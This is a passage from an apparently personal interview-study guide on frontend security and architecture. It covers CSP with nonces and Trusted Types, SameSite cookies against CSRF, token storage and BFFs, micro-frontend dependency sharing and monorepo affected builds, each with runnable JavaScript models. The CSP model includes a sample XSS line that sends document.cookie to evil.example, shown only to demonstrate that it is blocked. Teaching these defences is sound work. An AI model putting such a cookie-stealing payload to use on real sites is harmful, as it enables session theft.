  ["our bundle", responses[0].html],
  ["injected by XSS", `<script>fetch("https://evil.example/?c=" + document.cookie)</script>`],
  ["inline onclick", `<button onclick="steal()">`],
]) console.log(`${what.padEnd(16)} ${allowed(tag) ? "runs" : "blocked"}`);
Result
Content-Security-Policy: script-src 'nonce-<nonce>' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'self'; require-trusted-types-for 'script'
nonce length: 24 chars; differs per response: true
our bundle       runs
injected by XSS  blocked
inline onclick   blocked
What’s happening
  1. cspFor(nonce) builds the header. script-src 'nonce-…' 'strict-dynamic' allows only <script> tags carrying this response's nonce, plus scripts those scripts load (so bundlers' dynamic chunks still work). Allow-lists of domains are weaker, because many allowed CDNs host something an attacker can abuse.
  2. object-src 'none' blocks plugins, base-uri 'none' stops an injected <base href> from redirecting every relative script URL to the attacker, and frame-ancestors 'self' stops other sites from framing the page (the modern replacement for X-Frame-Options, and the clickjacking defence).
  3. require-trusted-types-for 'script' makes DOM sinks such as innerHTML reject plain strings: code must pass a TrustedHTML value created by a policy you control, typically one that runs a sanitiser. That turns "find every innerHTML in the codebase" into "review a few policies". Trusted Types became Baseline in February 2026 (web.dev Baseline digest, February 2026).
  4. The nonce is 16 random bytes, 24 characters of base64, and differs per response (the model prints only that, since the value is random). A nonce that's reused or cached with the HTML is as good as none: an attacker who sees one page can reuse it.
  5. Against that header, the bundle tag with the right nonce runs; an injected <script> and an inline onclick handler are blocked. Inline event handlers can't carry a nonce, which is why strict CSP pushes you towards addEventListener (frameworks already do this). Roll a new CSP out with Content-Security-Policy-Report-Only first and collect violation reports before enforcing.
AdvancedCSRF and SameSite cookies

If the session lives in a cookie, the browser attaches it to requests your site didn't start, unless the cookie's SameSite attribute says otherwise:

samesite.mjs
// CSRF: does the browser attach the session cookie to a request that another site starts?
// Rules for a cross-site request, by the cookie's SameSite attribute.
function sendsCookie(sameSite, { crossSite, topLevel, method }) {
  if (!crossSite) return true;
  if (sameSite === "Strict") return false;
  if (sameSite === "Lax") return topLevel && ["GET", "HEAD"].includes(method); // following a link is fine
  return true; // None (must also be Secure): always sent — CSRF is your job
}

const attacks = [
  ["link to our site, GET", { crossSite: true, topLevel: true, method: "GET" }],
  ["auto-submitted form, POST", { crossSite: true, topLevel: true, method: "POST" }],
  ["fetch() from evil.example", { crossSite: true, topLevel: false, method: "POST" }],
  ["our own app, POST", { crossSite: false, topLevel: false, method: "POST" }],
];
console.log("request".padEnd(28), ["Strict", "Lax", "None"].map((s) => s.padEnd(7)).join(""));
for (const [name, req] of attacks) {
  console.log(name.padEnd(28), ["Strict", "Lax", "None"].map((s) => (sendsCookie(s, req) ? "sent" : "-").padEnd(7)).join(""));
}
Result
request                      Strict Lax    None
link to our site, GET        -      sent   sent
auto-submitted form, POST    -      -      sent
fetch() from evil.example    -      -      sent
our own app, POST            sent   sent   sent
What’s happening
  1. sendsCookie encodes the rules for a cross-site request. Strict never sends the cookie cross-site. Lax sends it only for top-level navigations with safe methods (following a link with GET). None always sends it and must be paired with Secure.
  2. A plain link from another site (GET, top level) carries a Lax cookie, which is what you want: users arriving from a search result are still signed in. With Strict they would appear signed out on the first page, which is why Lax is the usual choice for session cookies.
  3. An auto-submitted cross-site form (POST) and a cross-site fetch() are the CSRF attacks. Lax and Strict both withhold the cookie, so the request arrives unauthenticated. With None, it's sent: CORS stops the attacker's page from reading the response, but the request itself, the money transfer, has already happened.
  4. Your own app's requests are same-site and always carry the cookie. Chrome has defaulted cookies without a SameSite attribute to Lax since Chrome 80 in 2020 (web.dev, "SameSite cookies explained"), but other browsers' defaults differ, so set it explicitly.
  5. SameSite is a strong layer, not the whole answer: "same site" means the same registrable domain, so a compromised subdomain counts as same-site. For state-changing requests, also check the Origin header on the server or require a CSRF token, and never change state on GET.
AdvancedWhere to keep tokens
StorageReadable by injected script?Sent automatically?Use for
localStorage / sessionStorageYesNoNon-sensitive preferences; not tokens
JavaScript memory (a variable)Yes, while the page runsNoShort-lived access tokens in SPAs that must call APIs directly
HttpOnly; Secure; SameSite cookieNoYes, to its own siteSession ids, refresh tokens; needs CSRF defences
A backend for frontend (BFF) holding the tokensNo (the browser only has a session cookie)Session cookie onlyBrowser apps using OAuth; the most secure pattern in RFC 10017

The design that keeps tokens out of JavaScript entirely is a backend for frontend: the browser talks only to its own server with an HttpOnly session cookie, and that server holds the OAuth tokens and calls the APIs. RFC 10017, OAuth 2.0 for Browser-Based Applications (BCP 212, August 2026), presents its three patterns in decreasing order of security with the BFF first, and strongly recommends it for business and sensitive applications, because the BFF can be a confidential client.

Browser no tokens in JS session cookie only BFF (same origin) session → tokens refreshes, checks Origin Identity provider OAuth / OIDC APIs trust the bearer token Cookie: sid HttpOnly code → tokens Bearer … an XSS can still act as the user while the page is open, but can't steal a token to use elsewhere
Tokens live on the server side of the BFF; the browser has nothing worth stealing.
AdvancedThird-party scripts and the supply chain

Every third-party script you add runs with your page's full privileges: an analytics snippet can read the DOM, including form fields. Keep the list short and reviewed, load third parties with async or after the first screen, prefer a sandboxed <iframe> (with the sandbox attribute) for widgets that don't need your DOM, and pin CDN scripts with Subresource Integrity (integrity="sha384-…") so a modified file is refused. For your own dependencies: a lockfile, automated vulnerability alerts, and caution with packages that run install scripts.

#Micro-frontends and monorepos

Added

Micro-frontends split one product's frontend into pieces that different teams build, test and deploy independently, then compose into one experience: at the route level (each path served by a different app behind one domain), at runtime in the browser (Module Federation, import maps, web components, iframes), or on the server or edge (fragments stitched into one HTML response). A monorepo is a different decision about the same codebase: many apps and packages in one repository with shared tooling, so a change to a shared package and every app that uses it can land in one commit, and CI rebuilds only what's affected.

The two are often confused because both come up when a frontend grows past one team, but they answer different questions. A monorepo is about code organisation: where code lives, how it's shared, how it's built. Micro-frontends are about deployment independence: who can ship what without waiting for whom. You can have micro-frontends in a monorepo (common), a monolithic app in many repositories, or any other combination.

A mental model: a shopping mall. Each shop (a micro-frontend) has its own staff, stock and opening hours and can redecorate without asking the others. The mall (the shell) owns the corridors, the signs, the security and the car park. The more shops there are, the more the mall needs rules: one style of signage (the design system), one way of taking payment (shared contracts), or every shop feels like a different building. A monorepo is one warehouse behind all the shops: moving stock between shops is easy, but only with a good inventory system that knows which shelves a change affects.

App shell (platform team) routing · auth · layout · error boundaries · loads remotes Search MFE search team · own pipeline /search/* Cart MFE checkout team · own pipeline /cart, mini-cart Reviews MFE reviews team · own pipeline <product-reviews> loads at runtime Shared once: framework, design system, auth client version ranges must agree, or a second copy loads
The shell composes independently deployed parts; shared libraries are the contract between them.

The first cost to put a number on is duplication. Each micro-frontend is built separately, so unless you configure sharing, each bundles its own framework:

shared-deps.mjs
// Micro-frontends: what does the user download when four teams each bundle their own copy of the framework?
const framework = 45, designSystem = 30; // KB compressed
const mfes = [ // each team's own code, and the framework version it was built with
  { name: "shell", own: 20, react: "19.3.0" },
  { name: "search", own: 35, react: "19.3.0" },
  { name: "cart", own: 40, react: "19.2.4" },
  { name: "reviews", own: 25, react: "18.3.1" },
];
const total = (kb) => `${kb} KB`;

const bundledSeparately = mfes.reduce((sum, m) => sum + m.own + framework + designSystem, 0);
console.log(`every MFE bundles React + design system: ${total(bundledSeparately)}`);

// Shared singletons (Module Federation style): one copy, but only versions that are compatible can share.
const major = (v) => v.split(".")[0];
const copies = new Set(mfes.map((m) => major(m.react))); // a semver range like ^19.0.0 shares within a major
const shared = mfes.reduce((sum, m) => sum + m.own, 0) + copies.size * framework + designSystem;
console.log(`shared singletons: ${total(shared)} (${copies.size} React copies: majors ${[...copies].join(", ")})`);
console.log(`if "reviews" upgrades to 19: ${total(mfes.reduce((s, m) => s + m.own, 0) + framework + designSystem)}`);
Result
every MFE bundles React + design system: 420 KB
shared singletons: 240 KB (2 React copies: majors 19, 18)
if "reviews" upgrades to 19: 195 KB
What’s happening
  1. Four micro-frontends with 20–40 KB of their own code each. If each also bundles React (45 KB) and the design system (30 KB), the user downloads 420 KB, of which 300 KB is four copies of the same two libraries.
  2. With shared singletons (Module Federation's shared config, or an import map pointing everyone at one URL), compatible versions load once. But "compatible" is the catch: reviews was built with React 18, and React 18 and 19 can't share one copy, so the page loads React twice: 240 KB, with two React copies (majors 19 and 18).
  3. Two Reacts on one page is more than bytes: components from one can't use hooks or context from the other, so the reviews widget can't read the shell's auth context. Teams discover this when something that worked in isolation breaks when composed.
  4. When reviews upgrades to React 19, everything shares one copy: 195 KB, under half the naive version. The lesson for the design round: micro-frontends need a platform agreement on shared dependencies (versions, upgrade windows), which is coordination between teams, the very thing micro-frontends were meant to reduce.
  5. The model uses the major version as the compatibility rule, like a ^19.0.0 range. Module Federation also has a singleton flag that forces one copy whatever the versions; that avoids the duplicate but can run a component against a React it wasn't built for, so it warns at runtime instead of failing the build.
AdvancedFive ways to compose micro-frontends

Ways to compose, from simplest to most coupled:

CompositionHowGoodCosts
Route-level (separate apps per path)A proxy or CDN routes /search/* to one app, /cart to anotherSimplest, truly independent, any frameworkFull page loads between apps; shared header and design must be duplicated or shared as a package
Build-time packagesTeams publish packages; one app depends on themOne bundle, type-safe, best performanceNot independent deploys: every change needs an app release
Runtime JS (Module Federation, import maps)The shell loads remote modules by URLIndependent deploys, shared dependencies, one SPAVersion agreement, runtime failures if a remote breaks, harder local development
Web componentsEach team ships a custom elementFramework-agnostic boundary, encapsulated stylesProps as attributes or properties, SSR is harder, events for communication
iframesEach part in its own documentStrongest isolation (security, CSS, crashes)Layout, focus, accessibility and performance all get harder
AdvancedMonorepos: building only what changed

In a monorepo, the build tool knows the dependency graph between projects, so CI can test and rebuild only what a change can affect. That's what makes one repository with dozens of apps workable:

affected.mjs
// Monorepo CI: which projects must be rebuilt and tested when some packages change? (reverse dependency walk)
const deps = { // project -> what it depends on
  "app-shop": ["feature-cart", "feature-search", "ui"],
  "app-admin": ["feature-reports", "ui"],
  "feature-cart": ["api-client", "ui"],
  "feature-search": ["api-client", "ui"],
  "feature-reports": ["api-client", "charts"],
  "ui": ["tokens"],
  "charts": ["tokens"],
  "api-client": [],
  "tokens": [],
};
const dependents = {};
for (const [project, list] of Object.entries(deps)) for (const d of list) (dependents[d] ??= []).push(project);

function affected(changed) {
  const seen = new Set(changed);
  const queue = [...changed];
  while (queue.length) for (const p of dependents[queue.shift()] ?? []) if (!seen.has(p)) { seen.add(p); queue.push(p); }
  return [...seen].sort();
}
for (const changed of [["feature-cart"], ["charts"], ["api-client"], ["tokens"]]) {
  const hit = affected(changed);
  console.log(`${changed.join(",").padEnd(12)} -> ${String(hit.length).padStart(1)}/${Object.keys(deps).length} projects: ${hit.join(", ")}`);
}
Result
feature-cart -> 2/9 projects: app-shop, feature-cart
charts       -> 3/9 projects: app-admin, charts, feature-reports
api-client   -> 6/9 projects: api-client, app-admin, app-shop, feature-cart, feature-reports, feature-search
tokens       -> 8/9 projects: app-admin, app-shop, charts, feature-cart, feature-reports, feature-search, tokens, ui
What’s happening
  1. deps is the project graph: apps depend on features, features on the API client and ui, ui and charts on tokens. dependents inverts it: for each project, who depends on it.
  2. affected starts from the changed projects and walks up the inverted graph with a queue: anything that depends on a changed project is affected, and so is anything that depends on that. seen stops it visiting a project twice.
  3. Changing feature-cart affects 2 of 9 projects: itself and app-shop. CI tests two projects instead of nine, and app-admin isn't redeployed at all.
  4. Changing tokens affects 8 of 9: everything except api-client, because every UI package sits on top of the tokens. That's the graph telling you, correctly, that a colour change is a change to every screen, and it's why low-level packages deserve the most careful review.
  5. This is what Nx (nx affected), Turborepo (--filter=...[origin/main]) and Bazel do with real graphs, plus caching: a project whose inputs haven't changed gets its previous build and test results from a cache instead of running again.

When each is worth it:

  • Monorepo: worth it as soon as you have several apps sharing packages, because atomic changes across a package and its users beat publishing and bumping versions. It needs tooling investment (affected builds, caching, code ownership rules) once it grows.
  • Micro-frontends: worth it when many teams ship to one product and their release schedules block each other, when parts of the product have very different lifecycles, or to migrate a legacy app piece by piece (the strangler pattern: new routes in the new stack, old ones retired one at a time). Not worth it for one or two teams: the shell, the contracts, the dependency agreements and the integration testing cost more than the coordination they save.

Written fresh for interviews (there was no Google Doc for this one). Runnable models were run on Node 26; figures and limits were checked against sources in October 2026.

RohitDownloads · All chapters

Sync progress across devices

Type the same private phrase on your Mac and your phone, and your Learned ticks follow you between them — on every study site.

The phrase never leaves this device: only a fingerprint of it is sent, and the server stores a fingerprint of that. Anyone who knows the phrase could see or change your ticks, so pick something you don’t use elsewhere.

Sync is on in this browser.

Sync ID

This ID must be the same on every device. If another device shows a different one, its phrase is different (capital letters count): tap “Turn off here” on it and type the phrase again exactly.